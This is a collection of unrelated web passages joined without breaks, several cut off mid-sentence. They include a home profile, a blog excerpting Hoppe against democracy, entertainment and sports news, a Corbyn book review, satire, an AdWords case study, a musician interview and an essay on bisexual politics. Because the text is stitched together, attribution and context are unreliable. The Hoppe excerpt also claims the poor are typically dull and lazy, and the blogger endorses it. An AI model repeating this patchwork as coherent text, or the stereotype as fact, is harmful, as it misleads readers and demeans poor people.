But while Garrett may have been ahead of the curve, he’s no hipster. The sixty-four-year-old jokes that he’s probably the only person in North Carolina without a cell phone or an e-mail address. “I’ve always liked old things more than new things,” he says. “I used to go to auctions just to watch, to look and see what people bought. When I was in my late twenties, I decided to stick my neck out and try to make it in the antiques business.” He stuck his neck out again when he bought the 7,000-square-foot commercial fixer-upper.
Today, he’s as close as any historic property owner ever gets to finishing. First came a couple of necessary structural changes. He added a wood-and-glass entry to his ground-floor shop to accommodate the comings and goings of customers rather than bulk goods. (You can still see the curb cut that allowed horse-drawn wagons to enter the building; out back is a railroad spur for deliveries.) He removed a dangerous freight elevator and added a stairway to the second floor, half of which now serves as shop storage and half as his main living space, including a kitchen, a dining area, and a sitting room, all undivided. An original pine staircase hugs the wall on its way to the third floor, a wide open living area with a bed tucked into a rear niche.
photo: Stacey Van Berkel
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Once the shop was up and running, Garrett turned his attention to his upstairs quarters |
eradicable notion of the equality of everyone before the law or the superiority of law above all. Thus, they argued that monarchy rested on personal privilege and that such a privilege was incompatible with equality before the law. And they suggested that by opening participation and entry into State government to everyone on equal terms — that is, by replacing a monarchy with a democracy — the principle of the equality of all before the law was satisfied. Appealing as this argument might at first appear, it is fundamentally wrong, however. Because democratic equality before the law is something entirely different from and incompatible with the old idea of one universal law, equally applicable to everyone, everywhere and at all times.
This is an interesting concept about how the lack or reduction of hierarchy under democracy actually reduced resistance or willingness to challenge authority:
In addition: Under democracy the distinction between the rulers and the ruled becomes blurred. The illusion even arises that the distinction no longer exists: that with democratic government no one is ruled by anyone, but everyone instead rules himself. Accordingly, public resistance against government power is systematically weakened. While exploitation and expropriation — taxation and legislation — before might have appeared plainly oppressive and evil to the public, they seem much less so, mankind being what it is, once anyone can freely enter the ranks of those who are at the receiving end, and consequently there will be more of it.
Basically, if everyone knew their place in the aristocratic scheme then it would be far less common for people to abuse that place, be they low or high in the hierarchy. Abuses result from people who don’t know where they stand, the “distinction between the rulers and the ruled.”
Here is an interesting point about how and why wealth redistribution doesn’t tend to go directly to the poorest, but rather those who are already economically well to do or middle classes:
The rich are characteristically bright and industrious, and the poor typically dull, lazy or both. It is not very likely that dullards, even if they make up a majority, will systematically outsmart and enrich themselves at the expense of a minority of bright and energetic individuals. Rather, most redistribution will take place within the group of the non-poor, and it will actually be frequently the better off who succeed in having themselves subsidized by the poor. (Just think of “free” university education, whereby the working class, whose children rarely attend universities, pay for the education of middle-class children!)
And Hoppe’s conclusion / solution:
The final question, then, is “Can we rectify this error and go back to a natural aristocratic social order?” I have written and spoken about the ultimate solution: how a modern natural order — a private law society — could and would work, and I can only summarily refer you here to these works.[3] Instead, I only want to briefly touch here, at the very end, on matters of political strategy: how to possibly approach the ultimate solution that I and others such as my great teacher Murray Rothbard have proposed and outlined — given the current state of affairs. As indicated, the democratic system is on the verge of economic collapse and bankruptcy as in particular the developments since 2007, with the great and still ongoing financial and economic crisis, have revealed. The EU and the Euro are in fundamental trouble, and so are the US and the US dollar. Indeed, there are ominous signs that the dollar is gradually losing its status as dominant international reserve currency. In this situation, not quite unlike the situation after the collapse of the former Soviet Empire, countless decentralizing, separatist and secessionist movements and tendencies have gained momentum, and I would advocate that as much ideological support as possible be given to these movements. For even if as a result of such decentralist tendencies new State governments should spring up, whether democratic or otherwise, territorially smaller States and increased political competition will tend to encourage moderation as regards a State’s exploitation of productive people. Just look at Liechtenstein, Monaco, Singapore, Hong Kong, and even Switzerland, with its still comparatively powerful small cantons vis-à-vis its central government. Ideally, the decentralization should proceed all the way down to the level of individual communities, to free cities and villages as they once existed all over Europe. Just think of the cities of the Hanseatic League, for instance. In any case, even if new little States will emerge there, only in small regions, districts, and communities will the stupidity, arrogance, and corruption of politicians and local plutocrats become almost immediately visible to the public and can possibly be quickly corrected and rectified. And only in very small political units will it also be possible for members of the natural elite, or whatever is left of such an elite, to regain the status of voluntarily acknowledged conflict arbitrators and judges of the peace.The new TokyopopManga Twitter account confirmed on Wednesday that it is "hoping that [it will] be able to release new manga very soon." The account mentioned it is "laying the groundwork for publishing new manga again," but added that because all of its previous titles had "reverted back to their Japanese publishers" that the company would "have to work to get them back." The Twitter account also stated the company's "ultimate goal is to start publishing manga again."
The Twitter account noted it is "planning on starting with an old license." The account also stated it plans to release manga in both print and digital form.
In an open letter from Tokyopop founder Stu Levy that was posted on GeekChicDaily on Tuesday, Levy wrote, "I know that you're all eager to have the same access to your favorite manga titles that we could previously provide and I promise that I am continuing to explore any and all opportunities to relaunch the manga publishing operations of TOKYOPOP's business."
Tokyopop shut down its North American manga publishing division in May. On Tuesday the company revealed it will launch a new editorial newsletter "about all things otaku and Asian pop-culture" powered by GeekChicDaily. Tokyopop gauged interest in the release of more Hetalia manga volumes last month.Two teenage men have been charged with intent to murder after a shooting that took place on the set of a Denzel Washington movie left two security guards with injuries.
The guards were on the set of the sequel to “The Equalizer” in Boston on Saturday when they were struck with gunfire, police spokesman Lt. Detective Michael McCarthy told The Boston Herald on Friday. The two security guards suffered non-life-threatening injuries from the shots and have since been treated and released from the hospital.
Two 18-year-old men, Dionte Martinez and Thomas Perkins, were arrested in connection with the shooting and charged with assault with intent to murder, unlawful possession of a firearm and unlawful possession of ammunition, according to police.
“After a complete and thorough investigation, officers were able to later learn and ascertain the identities of the suspects wanted in connection to the shooting,” police said. “Members of the Youth Violence Strike Force, along with members of the Quincy Police Department, located and arrested the suspects in Quincy.”
Police say nothing was being filmed at the time, and it does not appear that the security guards were targeted in the shooting."ST12" redirects here. For the Japanese promotional set, see Duel Challenge promotional cards
Starter Deck 2012 is a Starter Deck in the Yu-Gi-Oh! Official Card Game (OCG). It is the seventh deck in the OCG's annual Starter Deck series, following Starter Deck 2011. The TCG equivalent of this deck is Starter Deck: Xyz Symphony.
In the Korean OCG, Starter Deck 2012 was released on April 20, 2012 as part of Starter Deck 2012: Special Edition.
Contents show]
Features
Includes a total of 4 new cards
Includes cards that work together with the latest anime expansions
Includes some of the first cards featuring the new card layout.
Includes 5 Xyz Monsters
Introduces the first support for the "Djinn" archetype
Includes support for the "Gogogo" archetype
Includes cards used by Yuma Tsukumo
Breakdown
Each Starter Deck 2012 contains 45 cards in total. The number of card of each rarity are as follows:
Galleries
Lists
ReferencesFormer Edmonton Eskimos quarterback Jason Maas said he had no hesitation about trading in his red and black outfits for the familiar green and gold when he accepted the job as the Eskimos head coach.
Maas, who spent nine seasons with the Esks as a player, leaves his post as the Ottawa Redblacks offensive co-ordinator — a role where he squared off against Edmonton just weeks ago in the Grey Cup. He was recognized for his work helping the Redblacks’ offence, led by QB Henry Burris, improve the fortunes of the fledgling franchise in only its second season.
The Eskimos announced the decision to hire Maas on Monday.
“I’d like to say to Jason, ‘Welcome home,’” Eskimos general manager Ed Hervey said Monday afternoon at a news conference to introduce the team’s new head coach.
Hervey said the decision to hire Maas for his first head coaching job came after a thorough selection process. “Many will feel that because we’ve had an existing relationship with each other that it was a slam dunk decision,” Hervey said. “However, there were many qualified candidates out there to interview.
“I felt where organization is, moving foward, I felt this was a seamless transition for us,” he continued. “But I also felt for the long term strategic vision that I have for this organization, Jason is the right fit, not only for on the field but beyond.”
Maas’ move to the Eskimos’ sideline as the team’s 21st coach is the latest coaching staff shuffle to hit the Canadian Football League in recent weeks.
The Eskimos had barely finished lifting the Grey Cup in victory when the Saskatchewan Roughriders came calling for coach Chris Jones on the heels of a disasterous 3-15 season. Jones departed for the Roughriders on Dec. 7 to take over as head coach, general manager and vice-president of football operations, leaving the Eskimos in the hunt for a new coach. Though Jones had one year left on his contact with Edmonton, general manager Ed Hervey said the team would never stop someone from an opportunity to advance.
In selecting Maas, Hervey opted for someone Edmonton knows well, and who likewise, knows the city and the franchise. Maas played with the Eskimos from 2000-05 and from 2008-10. He was the team’s most outstanding player in 2001 and 2004 and became only the second Eskimos QB to pass for more than 5,000 yards (Hall of Famer Warren Moon was the first) in ’04. He served in later years as backup, confidant and unofficial coach for QB Ricky Ray.
Maas said it was always his goal to return to Edmonton in a coaching capacity and will start the next season with the vision of the Eskimos winning another Grey Cup.
“I understand the expectations of Edmonton. I’d always prefer that no matter what, you expect to win here,” Maas said. “I think I would prefer to come into a situation with great personnel, great people and great people. I think when you are 14-4 it’s obvious you have that here.”
A news release from the Eskimos upon his retirement in 2011 said that the former University of Oregon player “earned a special place in club history in 2005 when he came off the bench in both the West (Division) semifinal and the final games to ignite the offence and engineer game-winning drives, propelling the Esks to their 13th Grey Cup championship.”
Maas moved into coaching after he retired in 2011. He started as a receivers coach with the Toronto Argonauts and then began the 2012 season as quarterback coach. He remained with Toronto until December 2014 when he joined the Redblacks as offensive co-ordinator and quarterbacks coach.
He said he knew immediately he wanted to apply for the Eskimos job when it opened up, though he hesitated in the past leaping at interview opportunities for offensive coordinator jobs when he didn’t feel ready prior to accepting the position with the Redblacks.
“This opportunity that’s in front of me was too good to pass up. I was at least going to throw my hat in the ring and let Ed decide whether I was ready or not,” Maas said. “I love football, I know football, that’s why I decided.”
Former Eskimos coach Danny Maciocia told Journal columnist John MacKinnon recently that Maas was as “coach in the making from Day 1.”
“Whenever I would sit down with him, he would always ask the question, ‘Why. Why are we doing that? What are you looking at? What do you see?’,” Maciocia said. “It extended beyond the position that he played. Why are we blocking it that way? Can we block it this way? Or, how about that route, can we cut it off at 14 instead of taking it to 16. He was always thinking, you know?”
Maas said during a Redblacks stop in Edmonton in July that he loved coaching football.
“It’s another step up the ladder and I’m really enjoying my time putting game plans together with the coaches, teaching players the scheme that you want to implement, watching football and dissecting it,” he told the Journal. “Getting to see games played out in front of your eyes is a truly exciting experience.”
Maas said he will announce his assistant coaches in January.
Hervey declined to comment on reports that the Redblacks are asking the Eskimos for compensation for hiring Maas, saying Monday was a day to talk about Maas and not behind-the-scenes issues.
Here’s a sample of the reaction to Maas’ new job on social media:UNTIL June or July of last year, Jeremy Corbyn had never expected to lead the Labour party and probably never wanted to. A veteran backbencher and diligent constituency MP, the 66-year-old socialist would probably have been content to go on championing the various causes – from trade union rights to Palestinian solidarity – that had defined his modest career up to that point. In his spare time, he might have tended to the vegetable patch in his north London allotment or cultivated the olive tree in his back garden.
But history had other ideas. As Richard Seymour shows in this laser-sharp analysis of British "Labourism" and its contradictions, Corbyn found himself, almost by accident, in the right place at the right time. (Or in the wrong place at the wrong time, depending on your perspective.)
According to Seymour, a prominent left-wing blogger and journalist, Corbyn’s success in last summer’s Labour leadership election represented a structural backlash against Blairism. Not only did Tony Blair and Gordon Brown hollow Labour out from the bottom up (party membership fell from 400,000 in 1997 to 170,000 in 2007), they shed millions of working-class votes and eroded the party’s historic links to the trade union movement.
This process of internal decay was compounded by New Labour’s strategy in office. Blairism advocated tight spending constraints (during his first term as Chancellor, Brown sliced £34 billion off Britain’s national debt), foreign military interventions, authoritarian policing, and deregulated financial markets.
Seymour demolishes some of the key so-called achievements of the Blair era. Blair may have introduced the minimum wage, but he did so at the “pitiably low level” of £3.60 per hour. He may have cast himself as progressive on the issues of multiculturalism and equality, but between 1996 and 2004 “racial incidents more than quadrupled in England and Wales.” He may have claimed to be a social democrat, but he implemented welfare reforms that punished single mothers, the disabled and future retirees. “Tony Blair,” Seymour argues, “did far more than Margaret Thatcher to diminish support for redistribution and turn large numbers of people against the welfare state, precisely because he led a party that communicated with people whom Thatcher never could.”
It was into this void that Corbyn – the left’s token leadership nominee – stepped nine months ago. Propelled by a generation of new, predominantly young Labour activists, he won the race to succeed Ed Miliband by a massive 40 point margin in the first round of voting. Conversely, the Blairite candidate Liz Kendall, a favourite of the London media class, finished last with less than five per cent of the vote. Seymour sees Corbyn’s victory as unparalleled in modern Labour history: “It does the novelty of the situation no justice at all to compare Corbyn to Michael Foot. Foot was of the soft-Left, and his political roots belonged in a form of radicalised liberalism … Jeremy Corbyn is one of the last standing Bennites.”
Since being elected leader, Corbyn has faced one crisis after another, including a frontbench split over British military involvement in Syria and a bitter, ongoing controversy concerning allegations of anti-Semitism on the radical left. Most Labour MPs remain hostile to his leadership, but any effort to dislodge him – in the short term, at least – is unlikely to succeed: his support among party members is going up, not down, and polls suggest he would beat any prospective challenger with ease.
However, Seymour is not optimistic about Labour’s electoral prospects under Corbyn, nor does he anticipate a decisive breakthrough for socialist politics in the near future. Even if Corbyn were able to navigate his way into Downing Street, his government would run the risk of "syrizafication", “a process wherein the radical Left is swiftly chewed up and metabolised by the institutions it seeks to govern, becoming in effect an instrument of the neoliberal centre that it was elected to replace.”
If Seymour is correct, then perhaps the best Corbyn can hope to achieve is a gradual realignment of the English political landscape to the left (Seymour views Scotland, which is covered only tangentially throughout the book, as a virtual write-off for Labour.) Given the strong conservative currents
Corbyn is fighting against – both internally, within his own party, and externally, at the electoral level – that would represent a sizeable accomplishment in itself. “Corbynism,” Seymour concludes, “will struggle to outrun the limits of Labourism.” This book is a terrifically astute – if frequently demoralising – assessment of just how suffocating those limits can be.
Corbyn: The strange rebirth of radical politics by Richard Seymour is published by Verso, priced £12.99The War on Drugs photo by Morten Aagaard Krogh; Mark Kozelek photo by Tonje Thilesen
During Sun Kil Moon's set at the Ottawa Folk Festival earlier this month, Mark Kozelek didn't take too kindly to the sound bleed between his stage and the stage where the War on Drugs were simultaneously playing. "I hate that beer commercial lead-guitar shit," he said after being told where the noise was coming from. Then, he introduced his next song by saying, "This next song is called 'The War on Drugs Can Suck My Fucking Dick'."
As Stereogum points out, Kozelek later posted a note on his website, in which apologized:
To War on Drugs from Mark Kozelek in regards to Ottawa: I had never heard of your band prior to taking the stage in Ottawa the other night. But to give you an idea of how bad the bleed was, my drummer said that it would have been easier for him to play along to your set than ours. It could have been any band's music blaring from over the hill, and I still would have made jokes. I hope to catch your set someday when it's not drowning out my own. The schedule wasn't your fault—I get it. That was my third rodeo with The Ottawa "Bleed" Fest. They're still figuring things out over there. I hope they get it together someday. Peace and all the best,
-Mark Kozelek
But he got back to his fighting ways--seemingly jokingly-- in an interview with Smile Politely, as Stereogum points out. When asked how new listeners should approach his 2014 record, Benji, Kozelek responded:
It sounds best when War on Drugs isn't drowning it out with beer commercial lead guitar, and it doesn't go over well in a bar full of drunk hillbillies.
The second part is a reference to the incident at Sun Kil Moon's Hopscotch set when he called the apparently noisy crowd "fucking hillbillies." (He is still selling t-shirts on his website that say "ALL YOU FUCKIN' HILLBILLIES SHUT THE FUCK UP.")
In other Kozelek news, we reported earlier today that he's going to appear in Paolo Sorrentino's new film The Early Years.
Read our interview with Kozelek from earlier this year, and watch Sun Kil Moon perform "Richard Ramirez Died Today of Natural Causes" at Pitchfork Music Festival:Image: Gabriela Insuratelu/Shutterstock
Gabriela Insuratelu/Shutterstock Baby names: What to choose? Expectant moms shouldn't take this decision lightly, as the name you give your son or daughter might be super cool... or possibly cause therapy. (Think, think, think, think.)
We've already seen the hottest baby names for girls and oh-so-cute boy names of 2016 -- but what about those that didn't exactly make the cut? Reddit users had a field day listing what they think are the worst baby names they've recently heard. The very top "worst" picks were based on hundreds of comments and upvotes.
Hopefully, your kid didn't make the list -- and if he or she did... um, at least the name you chose is popular? Seriously, though, this is all in fun.
So, here we go. Here's a peek at some of the worst baby names of 2016 thus far -- at least according to Reddit!More consumers than ever are “cord cutting,” or getting rid of their cable service in favor of watching shows online, challenging the cable industry to launch new initiatives in order to keep customers. Here are some of cable companies’ proposed solutions:
Cable boxes to emit loud, pained moan whenever users attempt to unplug
Customer service reps will call and personally thank consumers every time they watch a show at its scheduled time
Launching nationwide ad campaign dedicated to spoiling what happens in House Of Cards
Continuing to include landline service in package deals for some reason
For added convenience, four-hour installation windows will be reduced to 16 separate 15-minute windows
More Guy Fieri
Reminding customers there’s probably a James Bond marathon on Spike right now
Highlighting the exciting added level of suspense that comes with viewing shows whose plots are constantly interrupted by two- to four-minute commercial breaks
Reducing average price of service to more reasonable $330.39 per month
Massive rebranding effort to portray cable industry as plucky, $300 billion underdogFor those of you would rather listen to this blog post, click play below!
https://simpletounderstandcom.files.wordpress.com/2017/05/blog-post-how-to-get-1-million-impressions-in-58-days-using-google-adwords-real-life-case-study.m4a
“Tell me, I forget.
Show me, I remember.
Involve me, I understand.”
Chinese Proverb
I have spent five years in the automotive industry and specialized in website management, digital marketing, social media and sales. I have seen a drastic amount of change within the digital marketing landscape. The world of digital marketing is vastly expanding and one must stay up-to-date with trends otherwise you will get left behind. It is worth mentioning that staying current with advancing technology will save the company you work for money (changes can occur in-house as opposed to hiring companies), time (changes can take place in real-time instead of waiting on outside companies response times) and be self-empowering (valuable skills are learned when trying and failing yourself as opposed to others failing).
My journey began back in October of 2012 where I started in sales and ended up landing a position later that year as the Internet Sales Coordinator while working at Waverley Chrysler. Throughout 2013 to 2016 it was awarded the number one dealership in volume sales for new vehicle delivery within the Prairies. My responsibilities included managing their websites, inventory and internet team as well as oversaw their social media accounts and digital marketing. I learned a lot while on the job and gained insight into various aspects within the digital world. Managing a website was new to me and so was everything else.
Skip forward to September of 2016 and I found myself working as the Marketing Manager at That Car Place. A month into the position I initiated my first ever Google AdWords campaign and was excited to take on a new challenge and see how it all worked. Our goal was to increase traffic to our website and in turn sell more vehicles. I was going to work with our website provider Carpages.ca on creating two separate landing pages. Both geared towards receiving more online credit applications, one page was targeting consumers with good credit scores while the other was going to target customers with bad credit scores.
I had zero idea on how to actually implement a Google AdWords campaign although I did have a strong understanding of how it worked. Google AdWords is an advertising service for businesses wanting to display ads on Google and its advertising network. The Google Network is basically leased advertising space that the majority of websites have. Websites offer this space to Google so companies can advertise on it. Sites like The New York Times, Tripadvisor and thousands of others all have dedicated space that are part of the Google Network. The ad service is largely focused on keywords. Businesses set an advertising budget and only pay when people click on their ads.
We started off our first campaign on October 1st. Only 58 days later we had hit 1,037,899 Impressions, 3,590 Interactions, a Conversion Rate of.35% and spent only $1,459.86.
As Austin Powers famously said, “Whoopty Doo…But what does it all mean Basil”?
Well I’ll tell you Austin, I’ll tell you.
First, let’s take a peak at the email I sent my co-workers on that exciting day.
Subject: 1+ MILLION IMPRESSIONS IN 58 DAYS – GOOGLE ADWORDS RESULTS!
Date: 11/28/16 9:45 am
To: That Car Place Staff
Good Morning,
Here’s some great news to kick off the beginning of the week: We hit 1+ Million Impressions in our Google AdWords Campaigns and we only started Oct 1, 2016 (58 Days ago). That’s averaging 17,241 impressions PER DAY!
But Dean…What is an impression? Well, an impression is counted each time your ad is shown on a search result page or other site on the Google Network. Each time your ad appears on Google or the Google Network, it’s counted as one impression.
This is one important stat and a milestone number to hit in that amount of time!!! Another and arguably more important stat is how many Clicks we received. A Click-through rate (CTR) is the ratio of users who click on a specific link to the number of total users who view a page, email, or advertisement. It is commonly used to measure the success of an online advertising campaign for a particular website as well as the effectiveness of campaigns.
We received 3,590 Clicks! This number might seem tiny in comparison to the number of impressions we received but look at it this way. How many people physically visited our dealership over the last 58 days? Kyle and Robert logged 92 customers each since Oct 1 plus there’s Kal’s contacts and these don’t include the tire kickers so let’s round-up and say between the three of them they each saw 100 people since Oct 1st. That’s 300 people who physically visited That Car Place. Well, 3,590 physical people visited our DIGITAL dealership (i.e. our website) and that’s JUST from the campaigns. That’s not including other visitors from organic search results and social media sites as well. Pretty cool eh!!!
This of course is only part of the puzzle. We are driving more people to our digital dealership then every before and what happens next is equally and if not more important. Once they’re physically at the store, getting them into the vehicle they’re looking for and can afford is the end goal.
Let’s keep working together as a team and we will increase the number of cars we sell while still offering the amazing customer service that we have been recognized for. Have a great day!
P.S. See the screenshot attached in the email.
Cheers 🙂
Dean
Marketing Manager / Sales Executive
That Car Place
It was after this point in time that I started connecting some interesting dots. Have you ever heard this from a marketing company before, “Sign-up with us and we’ll get you to the top spot on Google“? Well if you’re a dealer principal or marketing manager than I’m guessing your answer would be something along the lines of way too often. There are tons of marketing companies out there all offering the same thing. The difference now was that they were pitching exactly what I was doing and I had real stats to compare them to. Seeing as this was my first time doing a Google AdWords campaign, I welcomed the challenge of being beat and was hoping these companies would do better than what we were doing in-house. Especially since they do this all the time. After all, how does one improve if not to have a benchmark to strive for and surpass. Alas, I was surprised to find out these companies results. So far, there’s been four companies which I’ll remain nameless that have failed to come anywhere close to offering the same results to what we’ve been able to achieve. First, let’s take a look at our six months of stats which have been broken down monthly and includes display and search ads:
Impressions: 550,000+
550,000+ Interaction Rate or Click-Through Rate:.40%
.40% Conversions: 1500
1500 Interactions: 2200+
2200+ Average Monthly Cost: $1250
And here’s the breakdown of the 4 companies guaranteed results:
Company 1 – (Per Month):
100,000 impressions for $1,000
Company 2 – (Per Month):
Package 1: $1800 (30% Mgmt. Fee or ONLY $1260 goes towards actual campaign) + $550 setup fee: 20,833 impressions 609-1016 conversions
$1800 (30% Mgmt. Fee or ONLY $1260 goes towards actual campaign) + $550 setup fee: Package 2: $3050 41,666 impressions 609-1016 conversions
$3050
Company 3 – (Per Month):
$2,000 – $3,000 457 – 600 Interactions 20 – 27 Conversions = Qualified Customers (5% of interactions – this stat is from Google).
Company 4 – (Per Month)
$1,000 50,000 impressions and a.31% CTR (click-through rate) – Display Ads Only
“The goal is to turn data into information, and information into insight.”
Carly Fiorina, former executive, president, and chair of Hewlett-Packard Co.
When comparing Impressions, Company 1 is the closest to us by guaranteeing only 1/5th of our results at nearly the same monthly cost (difference of only $250). When comparing Conversions, Company 3 is the worst compared to us by guaranteeing only 20 conversions for $2,000 which is dwarfed by the 1500 conversions at $1250 that we’ve generated. That’s a staggering difference of cost and results. Anyways, you get the picture. To say that I was disappointed in the competition and pleased with our results is an understatement. “Was this normal?” I wanted to know if this was just a lucky break or could it be replicated.
“Things get done only if the data we gather can inform and inspire those in a position to make [a] difference.” Mike Schmoker, former school administrator, English teacher and football coach, author.
After 6 months of tweaking our campaigns, analyzing stats and having multiple conversations with other marketing companies it seemed we were doing exceptional on our Google AdWords campaigns. “Yipee, Yahoo!” With that said, there’s still lots of room for growth and I am very much open to hearing what other companies have to offer. After-all, the marketplace is constantly changing and so should your campaigns.
“When the winds of change blow, some people build walls and others build windmills.” Chinese Proverb
I challenge dealers and other businesses to consider the options of whether or not to hire a digital marketing company as opposed to investing in training an employee. The answer depends on how much time and resources you have but my suggestion is if you can do it in-house, go that route. It’s well worth the investment to have a team member within your business learn how to manage Google AdWords campaigns as the cost of one employee compared to hiring third-party marketing companies can save you THOUSANDS of dollars in advertising costs in the long run. Additionally, from an employee’s stand-point it’s definitely empowering and rewarding to see your results. Not to leave out the fact that you get to learn so many different lessons as well as obtain valuable skills. Google AdWords can be fun to learn and they have a great support system in place. Rest assured you won’t be alone just clicking buttons on a screen at random. Google Support is an invaluable resource that will provide tips/tricks and guide you on improving your campaigns one step at a time.
One final thought I have in relation to analyzing stats is make sure your marketing plan and goals line up with your game plan. If your goal is to sell more vehicles (which it typically is in the auto industry) than make sure your marketing plan is set up for you to understand what’s working and what isn’t. Depending on what your goals are, you should be able to answer, “Is this assisting in selling more vehicles or not?”. The answer for us to that question is, “Yes, absolutely it’s helped!”. However, if your Google AdWords campaign is strictly for branding purposes than perhaps just focusing on the number of impressions you are receiving is the most important stat, or if you’re looking to get more people to submit credit applications so that you can convert them to a sale than you have to consider multiple factors. Impressions, conversions, landing page layout and the quality of information on that page are all important, as well as asking questions such as, “How many of the conversions are good vs. bad? What can we do to increase the amount of quality leads? Etc.” As you can see, you can go back and forth and interpret stats all day long until the cows come home but make sure your goals are clear and line up with your marketing plan.
If you want to learn more about Google AdWords here’s a list of helpful resources:
In closing, I leave you with this parting thought.
“Without big data analytics, companies are blind and deaf, wandering out onto the web like deer on a freeway” Geoffrey Moore, Author of Crossing the Chasm & Inside the Tornado
##
Thanks for reading this post 🙂
Written by Dean
Was this article helpful? If so, how? What has worked best for your business’s digital marketing efforts? Please share your experience in the comments section as well as suggestions on topics you would like me to write about. Thanks 🙂
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People Mentioned"I just try to get through the next day and the next week. I don't take much time to reflect on milestones. I forgot about this one."
The "one" James McMurtry is talking about is the 15th anniversary of Saint Mary of the Woods, which originally hit the streets on Sept. 17, 2002. It was the Americana luminary's sixth studio album, and his first in nearly four years.
"Nobody wanted to produce the album, that's why I produced Saint Mary," he tells The Boot. "The way it started, there was a studio in Austin that was an ADAT [Alesis Digital Audio Tape] studio. It was an odd little format... it's like VHS now... but it was cheap. We'd come off the road and go in the studio for a couple of days whether we had songs or not. A lot of the time we were just jamming."
We'd come off the road and go in the studio for a couple of days whether we had songs or not. A lot of the time we were just jamming.
In-between those jam sessions, McMurtry was learning what it meant to produce a record, and to produce it cheaply. Over the years, he's always entered the studio with a producer; his first two studio albums were helmed by John Mellencamp, Where'd You Hide the Body was produced by Don Dixon, and his next two LPs were handled by Lloyd Maines.
"The studio in Austin, Flashpoint, was really flexible," McMurtry recalls. "We could get into the studio when we needed to. Yeah, we were recording to ADAT, but they had a really nice old Neve console, too, so it was all to our liking."
Out of those jams emerged a couple of songs, including the title-track.
"I actually got the title from a tour," McMurtry says. "We were on the road in Indiana and there was a terrible snowstorm. We had to get from Bloomington to Chicago, which isn't all that far when it's not snowing. We didn't want to go through Gary because we knew that town was completely shut down."
So, instead of going through Gary, McMurtry and the boys decided to go to Terre Haute and up the Wabash River. It was there that he saw a sign that said "Saint Mary of the Woods."
"I didn't know what it was," he recalls. "I didn't know it was a school — I thought it might be a church. That became the title for the song, and then the title for the album. But that song and "Broken Bed," both of them are results from the three of us — drummer Daren Hess and bassist Ronnie Johnson — in the studio jamming around."
As for his production chops, McMurtry wanted to make sure there wasn't too much that got in the way of the music.
"You know, I don't think I approached the sound all that differently from my previous albums," he says, "but I didn't use as many extra parts. That meant my guitars never got buried. To be honest, I'm not enough of an audiophile to know much about the sound... I get it in the ballpark and then let the engineers take it from there."
Though only two tracks came out of spontaneous jams in the studio — the rest were written outside and then brought in — McMurtry tells The Boot that he has a closet full of ADATs that will likely never see the light of day.
"I guess I'll never hear it again," he laments, "though you can actually get those machines pretty cheap. We captured quite a few hours, the ADAT I have would fill up an average-sized chest of drawers. We did a lot of jams that never resulted in completed songs. Probably the |
bisexual politics in a discussion about bisexual identity. Seeing as so far, I’ve only heard myself voicing this argument, I would give it a few more lines just to clarify my intention (quoting myself from a facebook discussion on the topic):
It often feels to me as if bisexuality is never really about our own sexual identity(ies), i.e. – our experiences, our desires, our lives as bisexuals, the oppression we experience as such, the cultural, social and political systems working to shape the experience of bisexual people, institutional oppression experienced by bisexuals, etc. etc. Instead, I feel that my sexual identity (i.e. whether I should identify as bisexual, pansexual, queer, etc.) is expected to be determined according to other people’s gender identity. The question on whether bisexuality is more or less helpful in reducing gender binarism poses this quite clearly. It implies that bisexual people should determine their identification according to transgender politics as opposed to bisexual politics. Taken from that perspective, then of course the answer would be :”Yes, definitely pan/queer”. But lately I’ve been questioning this very outset as influenced by internalized biphobia. The fact that we (as a movement) have been focusing on this question as a central one implies a political hierarchy that prioritizes transgender issues over bisexual issues.
Interlude
What I need to say around this point is that the great majority of this debate is being perpetuated and developed by bisexual-identified transgenders and genderqueers (Click the link! It’s Julia Serano!), and non-bi-identified transgenders and genderqueers. I need to draw attention to this, as the “binary” side of this debate often likes to frame it as a transgender-cisgender debate, thus locating the “bisexual” side not only as linguistically transphobic, but also as external to transgender community, identities and politics – i.e. privileged.
A painful example of this was a debate between one certain transgender blogger and myself in the responses section of one of his blog posts. Throughout the debate, my genderqueer identity and position was completely ignored and dismissed in light of my bisexual identification. Bauer even went as far as saying that, “If your concern for trans issues seemed to be equal to your concern that people be allowed to use a word that erases large categories of trans people, I would not have spoken like that” (i.e. addressed me as if I was cisgender), thus insinuating that bisexual identification and politics are inherently transphobic and therefore contradictory to genderqueer and trans identification and politics.
Slippage
As implied through Bauer’s position – bisexuality is no longer critiqued simply as a term in certain transgender discourses, but is rather experiencing a slippage of meaning from the linguistic to the factual – if: bisexuality=transphobic, then: bisexual=transphobic as well. It’s not a huge jump, and I’m both unsurprised and broken-hearted to see it happening. I’ve once had someone argue to me that the “bad binary reputation” bisexuality is increasingly experiencing is due to bisexual people’s transphobia. And indeed, increasingly I’ve been noticing that, notwithstanding bisexual erasure, the only time in which bisexual people and the bisexual movement are mentioned in some transgender writings, is as oppressors of transgenders.
I’m currently reading Susan Stryker’s Transgender History, a book summarizing the history of the American transgender movement starting from the 1950’s and up to this day. I’ve recently reached the 90’s. Up until now, only one mention of bisexuality has been made in the book: one sentence at the introduction, explaining the meaning of the word (as “attraction to any gender”). From hereon and until the 90’s, bisexuality and bisexual people fade away from sight and historical attention, and this, despite the fact that gay and lesbian people are mentioned in abundance (both favourably and unfavourably). Just to make this really clear – bisexual people are being erased in the book even from where they were undoubtedly present – demonstrations, the Stonewall rebellion, pride marches, the gay liberation movement, etc. Mentions of the bisexual community resurface, however, when we come to the 90’s – solely in the context of transgender exclusion.
Another example is the acronym “LGB” that some transgender writers use in the same context of transgender exclusion. In his article, “Fighting to Win” from the wonderful anthology That’s Revolting!, transgender activist Dean Spade (who is otherwise awesome) constantly uses the form “LGBfakeT” – situating bisexual people not only as oppressors of transgender people, but also as benefactors of assimilationist gay privilege – wrongfully presuming that assimilationist gay campaigns include the needs and the agenda of bisexual people (and do not, in fact, trample all over us on their golden way to heteronormative white privilege).
So where is all this coming from?
I find this entire debate to be incredibly suspicious: if transphobia is truly the matter at hand, then why focus on bisexuality alone? If it’s words we’re concerned with, shouldn’t we first want to address the hetero-homo dichotomy – a far more prevalent and a far more oppressive binary structure? Or if it’s inner-community transphobic approaches that we want to address, shouldn’t we first see the white gay cismen? Or the lesbian movement, with its long-time and long-established exclusionary practices? Why the bisexual community, historically and currently the least transphobic of the three, as well as the one with the least resources from which to exclude transgender and genderqueer people?
